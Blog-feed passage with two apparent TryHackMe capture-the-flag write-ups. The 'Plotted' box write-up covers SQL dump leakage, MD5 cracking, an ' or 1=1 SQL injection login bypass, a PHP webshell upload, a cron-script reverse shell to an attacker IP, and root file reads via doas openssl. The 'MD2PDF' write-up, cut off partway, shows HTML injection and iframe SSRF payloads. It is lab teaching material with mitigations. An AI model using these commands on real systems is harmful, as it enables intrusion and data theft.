&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'VHJ1c3QgbWUgaXQgaXMgbm90IHRoaXMgZWFzeS4ubm93IGdldCBiYWNrIHRvIGVudW1lcmF0aW9uIDpE'&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
Trust me it is not this easy..now get back to enumeration :D

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'bm90IHRoaXMgZWFzeSA6RA=='&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
not this easy :D
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All three files were troll decoys - port 80 was a dead end.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Web Enumeration - Port 445
&lt;/h2&gt;

&lt;p&gt;Same brute force against port 445 revealed a much larger PHP application under &lt;code&gt;/management/&lt;/code&gt; (an AdminLTE-based "Traffic Offense Management System"), with directory listing enabled on nearly every subdirectory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;feroxbuster -u http://&amp;lt;MACHINE_IP&amp;gt;:445/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,py,js -C 404

301   GET   management =&amp;gt; management/
301   GET   management/classes =&amp;gt; management/classes/
301   GET   management/database =&amp;gt; management/database/
200   GET   management/admin/login.php
200   GET   management/index.php
...
found:299  errors:4
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notably, &lt;code&gt;/management/database/&lt;/code&gt; had directory listing enabled and exposed a SQL dump:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:445/management/database/
...
&amp;lt;a &lt;span class="nv"&gt;href&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"traffic_offense_db.sql"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;traffic_offense_db.sql&amp;lt;/a&amp;gt;  10K
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  4. Database Dump and Credential Cracking
&lt;/h2&gt;

&lt;p&gt;Pulled the dump directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&amp;lt;MACHINE_IP&amp;gt;:445/management/database/traffic_offense_db.sql
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key contents - &lt;code&gt;users&lt;/code&gt; table with unsalted MD5 hashes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="nv"&gt;`users`&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;`id`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`firstname`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`lastname`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`username`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;`password`&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...)&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Adminstrator'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'0192023a7bbd73250516f069df18b500'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'John'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Smith'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'jsmith'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'1254737c076cf867dc53d60a0364f38e'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cracked with John (specifying the Raw-MD5 format, since the default guess was LM):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

admin123          (?)
jsmith123         (?)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Tried both creds over SSH for &lt;code&gt;admin&lt;/code&gt; and &lt;code&gt;jsmith&lt;/code&gt; - both rejected (no valid shell accounts with those passwords). They also failed against the web admin login form directly - this whole hash/cracking path was a dead end, and access to the panel instead required the SQL injection below.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. SQL Injection Auth Bypass
&lt;/h2&gt;

&lt;p&gt;With the cracked credentials useless against the login form, the next step was testing the form itself, which proved vulnerable to a classic SQL injection auth bypass. Submitting:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Username: &lt;code&gt;' or 1=1-- -&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Password: any value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;logged in as the administrator, confirming the login query was unparameterized and concatenated user input directly into the SQL query.&lt;/p&gt;

&lt;p&gt;![Login page with SQLi payload in username field]&lt;/p&gt;

&lt;p&gt;This granted access to the TOMS admin dashboard at &lt;code&gt;/management/admin/&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Arbitrary File Upload to RCE
&lt;/h2&gt;

&lt;p&gt;With admin access, the &lt;strong&gt;Settings &amp;gt; System Logo&lt;/strong&gt; upload field had no server-side file type validation. Uploading a PHP webshell (&lt;code&gt;shell.php&lt;/code&gt;) as the "logo" and then browsing to the dashboard triggered execution of the shell, giving a command execution primitive as the web server user:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;www-data@plotted:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;www-data
&lt;/span&gt;&lt;span class="gp"&gt;www-data@plotted:/$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;span class="go"&gt;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  7. Privilege Escalation - www-data to plot_admin (Cron + Writable Script Dir)
&lt;/h2&gt;

&lt;p&gt;Enumeration of cron jobs revealed a job running every minute as &lt;code&gt;plot_admin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;crontab&lt;/span&gt;
* * * * * &lt;span class="n"&gt;plot_admin&lt;/span&gt; /&lt;span class="n"&gt;var&lt;/span&gt;/&lt;span class="n"&gt;www&lt;/span&gt;/&lt;span class="n"&gt;scripts&lt;/span&gt;/&lt;span class="n"&gt;backup&lt;/span&gt;.&lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/www/scripts/backup.sh
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
/usr/bin/rsync &lt;span class="nt"&gt;-a&lt;/span&gt; /var/www/html/management /home/plot_admin/tms_backup
/bin/chmod &lt;span class="nt"&gt;-R&lt;/span&gt; 770 /home/plot_admin/tms_backup/management
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script file itself (&lt;code&gt;-rwxrwxr-- plot_admin plot_admin&lt;/code&gt;) was not directly writable by &lt;code&gt;www-data&lt;/code&gt;, but the containing directory was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls -la /var/www/scripts/
drwxr-xr-x 2 www-data www-data 4096 ... .
-rwxrwxr-- 1 plot_admin plot_admin  141 ... backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since &lt;code&gt;/var/www/scripts&lt;/code&gt; is owned by &lt;code&gt;www-data&lt;/code&gt; with write permission, &lt;code&gt;www-data&lt;/code&gt; can remove and recreate files inside it regardless of the individual file's own ownership/permissions. The original script was deleted and replaced with a reverse shell payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;rm &lt;/span&gt;backup.sh
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup.sh &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
#!/bin/bash
bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4443 0&amp;gt;&amp;amp;1
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within a minute the cron job fired as &lt;code&gt;plot_admin&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;penelope listen -p 4443
[+] [New Reverse Shell] =&amp;gt; plotted &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 plot_admin(1001)

plot_admin@plotted:~$ whoami
plot_admin
plot_admin@plotted:~$ id
uid=1001(plot_admin) gid=1001(plot_admin) groups=1001(plot_admin)
plot_admin@plotted:~$ cat user.txt
&amp;lt;REDACTED&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Privilege Escalation - plot_admin to root (doas + openssl)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed (no known password for &lt;code&gt;plot_admin&lt;/code&gt;). Checked for exploitable SUID binaries next:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find / -perm -4000 2&amp;gt;/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/mount
/usr/bin/su
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/at
/usr/bin/chsh
/usr/bin/umount
/usr/bin/doas
/usr/bin/newgrp
/usr/libexec/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
(plus a number of SUID binaries under /snap/core18, /snap/core20, /snap/snapd - all standard snap-packaged binaries)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing exploitable on its own, but &lt;code&gt;/usr/bin/doas&lt;/code&gt; stood out as worth checking its config - also confirmed there was no &lt;code&gt;gcc&lt;/code&gt;/&lt;code&gt;cc&lt;/code&gt; available for compiling exploits. Checking for &lt;code&gt;doas&lt;/code&gt; (OpenBSD's sudo alternative) configuration revealed a passwordless rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="n"&gt;cat&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;doas&lt;/span&gt;.&lt;span class="n"&gt;conf&lt;/span&gt;
&lt;span class="n"&gt;permit&lt;/span&gt; &lt;span class="n"&gt;nopass&lt;/span&gt; &lt;span class="n"&gt;plot_admin&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="n"&gt;root&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;plot_admin&lt;/code&gt; can run &lt;code&gt;openssl&lt;/code&gt; as root with no password. Running an interactive shell directly was blocked since only the &lt;code&gt;openssl&lt;/code&gt; command is permitted:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doas &lt;span class="nt"&gt;-u&lt;/span&gt; root /bin/sh
doas: Operation not permitted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is a known GTFOBins technique: &lt;code&gt;openssl enc&lt;/code&gt; can be abused to read arbitrary files as root, since &lt;code&gt;enc&lt;/code&gt; with no real encryption flags just passes the input through to the output. Used it to exfiltrate the root flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;doas openssl enc &lt;span class="nt"&gt;-in&lt;/span&gt; /root/root.txt &lt;span class="nt"&gt;-out&lt;/span&gt; /tmp/root.txt
&lt;span class="nb"&gt;cat&lt;/span&gt; /tmp/root.txt
Congratulations on completing this room!

&amp;lt;REDACTED&amp;gt;

Hope you enjoyed the journey!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed arbitrary root-level file read more generally by dumping &lt;code&gt;/etc/passwd&lt;/code&gt; to stdout the same way:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;doas openssl enc -in /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Key Vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Vulnerability&lt;/th&gt;
&lt;th&gt;Location&lt;/th&gt;
&lt;th&gt;Impact&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Directory listing enabled&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/admin/&lt;/code&gt; (port 80), &lt;code&gt;/management/*&lt;/code&gt; (port 445)&lt;/td&gt;
&lt;td&gt;Information disclosure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Exposed database backup&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/management/database/traffic_offense_db.sql&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Leaked password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Weak/unsalted MD5 password hashing&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;users&lt;/code&gt; table&lt;/td&gt;
&lt;td&gt;Hashes cracked instantly with rockyou.txt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;SQL injection in login form&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/management/admin/login.php&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Authentication bypass as admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Unrestricted file upload&lt;/td&gt;
&lt;td&gt;Admin Settings &amp;gt; System Logo&lt;/td&gt;
&lt;td&gt;Remote code execution as &lt;code&gt;www-data&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;World/owner-writable script directory with root-owned cron job&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/var/www/scripts/&lt;/code&gt; + &lt;code&gt;/etc/crontab&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Privilege escalation &lt;code&gt;www-data&lt;/code&gt; -&amp;gt; &lt;code&gt;plot_admin&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Overly permissive &lt;code&gt;doas&lt;/code&gt; rule for &lt;code&gt;openssl&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/etc/doas.conf&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Arbitrary file read as root -&amp;gt; full root compromise&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack Chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Nmap scan (22/80/445)
        |
        v
feroxbuster on :80 --&amp;gt; decoy files (id_rsa/passwd/shadow, all troll strings)
        |
        v
feroxbuster on :445 --&amp;gt; /management/ app + directory listing
        |
        v
Leaked traffic_offense_db.sql --&amp;gt; MD5 password hashes
        |
        v
John the Ripper (rockyou.txt) --&amp;gt; admin123 / jsmith123 (dead end for SSH)
        |
        v
SQLi auth bypass on /management/admin/login.php ( ' or 1=1-- - )
        |
        v
Admin dashboard access
        |
        v
Arbitrary file upload via System Logo setting --&amp;gt; shell.php
        |
        v
RCE as www-data
        |
        v
Cron job (* * * * * plot_admin backup.sh) + writable /var/www/scripts/
        |
        v
Overwrite backup.sh with reverse shell --&amp;gt; shell as plot_admin
        |
        v
user.txt captured
        |
        v
/etc/doas.conf: plot_admin nopass openssl as root
        |
        v
doas openssl enc -in /root/root.txt -out /tmp/root.txt (GTFOBins)
        |
        v
root.txt captured - full compromise
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Disable directory listing (&lt;code&gt;Options -Indexes&lt;/code&gt;) on all web-accessible directories, and never leave database backups or source trees reachable over HTTP.&lt;/li&gt;
&lt;li&gt;Use a strong, salted, slow hashing algorithm (bcrypt/argon2) for stored passwords instead of raw MD5.&lt;/li&gt;
&lt;li&gt;Use parameterized queries/prepared statements everywhere user input reaches SQL, especially authentication logic.&lt;/li&gt;
&lt;li&gt;Validate and restrict uploaded file types server-side (whitelist extensions/MIME types, store uploads outside the web root or with execution disabled) rather than trusting client-side checks or filenames.&lt;/li&gt;
&lt;li&gt;Ensure directories containing root- or privileged-user-owned cron scripts are not writable by lower-privileged service accounts (&lt;code&gt;www-data&lt;/code&gt; should not own the parent directory of a script executed by a cron job running as another user).&lt;/li&gt;
&lt;li&gt;Scope &lt;code&gt;doas&lt;/code&gt;/&lt;code&gt;sudo&lt;/code&gt; rules to the minimum necessary; avoid granting &lt;code&gt;nopass&lt;/code&gt; access to generic multi-purpose binaries like &lt;code&gt;openssl&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;vim&lt;/code&gt;, etc. that are well-known GTFOBins privilege escalation vectors.&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe: MD2PDF Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Wed, 07 Oct 2026 11:34:47 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-md2pdf-writeup-8a8</link>
      <guid>https://dev.to/exploitnotes/tryhackme-md2pdf-writeup-8a8</guid>
      <description>&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;MD2PDF is a web app that converts user-submitted Markdown into a downloadable PDF using a server-side rendering engine. The input is not sanitized, so raw HTML is rendered as-is - including tags like &lt;code&gt;&amp;lt;iframe&amp;gt;&lt;/code&gt; that cause the renderer to make its own outbound HTTP requests. Since those requests originate from the server itself, they can be pointed at &lt;code&gt;localhost&lt;/code&gt;, allowing an attacker to reach an &lt;code&gt;/admin&lt;/code&gt; endpoint that was supposed to be restricted to internal/localhost traffic only. Chaining the HTML injection with this SSRF behavior let an external, unauthenticated user retrieve the contents of the restricted admin page - including the flag - entirely through the PDF export feature.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Reconnaissance
&lt;/h2&gt;

&lt;p&gt;A port scan of the target was run first to see what was exposed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;rustscan &lt;span class="nt"&gt;-a&lt;/span&gt; machine-ip &lt;span class="nt"&gt;--ulimit&lt;/span&gt; 5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This found three open ports, which were then fingerprinted with a full service/version scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sCV&lt;/span&gt; machine-ip &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,5000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Results:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;State&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;HTTP - MD2PDF web app&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5000&lt;/td&gt;
&lt;td&gt;open&lt;/td&gt;
&lt;td&gt;HTTP - MD2PDF web app (same application, different port)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both port 80 and port 5000 host the &lt;em&gt;same&lt;/em&gt; MD2PDF instance. This detail turns out to matter later: the app itself refers to port 5000 as its "internal" / localhost-facing port.&lt;/p&gt;

&lt;p&gt;Browsing to the site showed a simple single-page app: a textarea for Markdown input, and a "Convert to PDF" button.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Confirming HTML Injection
&lt;/h2&gt;

&lt;p&gt;The app is advertised as a Markdown converter, but Markdown renderers commonly pass raw HTML through untouched unless explicitly configured not to. To test this, the following was submitted in the textarea instead of plain Markdown:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt; test &lt;span class="nt"&gt;&amp;lt;/best&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;(note the intentionally mismatched closing tag - this was just to confirm the parser wasn't doing anything unusual with malformed input)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Clicking &lt;strong&gt;Convert to PDF&lt;/strong&gt; produced a PDF where the word "test" appeared in &lt;strong&gt;bold&lt;/strong&gt;. This confirmed that:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The input is &lt;strong&gt;not&lt;/strong&gt; sanitized or HTML-escaped before rendering.&lt;/li&gt;
&lt;li&gt;The conversion pipeline interprets raw HTML tags as HTML, not as literal text.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the entry point for the rest of the attack: anything that can be embedded in HTML and processed by a rendering engine can potentially be injected here.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Identifying the Rendering Engine's Capabilities (SSRF Test)
&lt;/h2&gt;

&lt;p&gt;Because this is a Markdown-to-&lt;strong&gt;PDF&lt;/strong&gt; converter, there's almost always a headless browser or HTML-rendering engine working server-side (e.g., a Chromium-based renderer or similar) that loads the HTML and prints it to PDF. These engines can load &lt;strong&gt;external resources&lt;/strong&gt; - including iframes, images, and stylesheets - exactly like a normal browser would. Critically, when it does so, &lt;em&gt;the request comes from the server&lt;/em&gt;, not from the attacker's machine.&lt;/p&gt;

&lt;p&gt;To test this, an iframe pointing to an arbitrary IP was injected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;b&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"http://attacker-ip"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Converting this to PDF caused the server to actually attempt an outbound connection to that address - confirming the renderer fetches iframe &lt;code&gt;src&lt;/code&gt; URLs server-side. This is the hallmark of an SSRF: the application will make network requests on the attacker's behalf, to destinations the attacker chooses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A secondary attempt&lt;/strong&gt; was made to read a local file directly via the &lt;code&gt;file://&lt;/code&gt; scheme:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class="na"&gt;src=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt; &lt;span class="na"&gt;width=&lt;/span&gt;&lt;span class="s"&gt;"800px"&lt;/span&gt; &lt;span class="na"&gt;height=&lt;/span&gt;&lt;span class="s"&gt;"600px"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This did &lt;strong&gt;not&lt;/strong&gt; work - the renderer either blocks the &lt;code&gt;file://&lt;/code&gt; protocol or doesn't support it for iframes. This ruled out direct local file disclosure, but it didn't rule out SSRF against &lt;em&gt;network&lt;/em&gt; services, which is the direction that paid off.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Enumerating the Application for Internal-Only Endpoints
&lt;/h2&gt;

&lt;p&gt;With confirmed HTML injection, the next question was: &lt;em&gt;is there anything on this server worth reaching that we can't reach directly?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;A content/directory brute-force was run against the web root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://machine-ip/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notable results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;403   GET   /admin
405   GET   /convert
200   GET   /static/...   (css/js assets)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;/admin&lt;/code&gt; path stood out - a &lt;code&gt;403 Forbidden&lt;/code&gt; suggests the route exists but access is being deliberately blocked. Visiting it directly in a browser confirmed this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Forbidden
This page can only be seen internally (localhost:5000)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



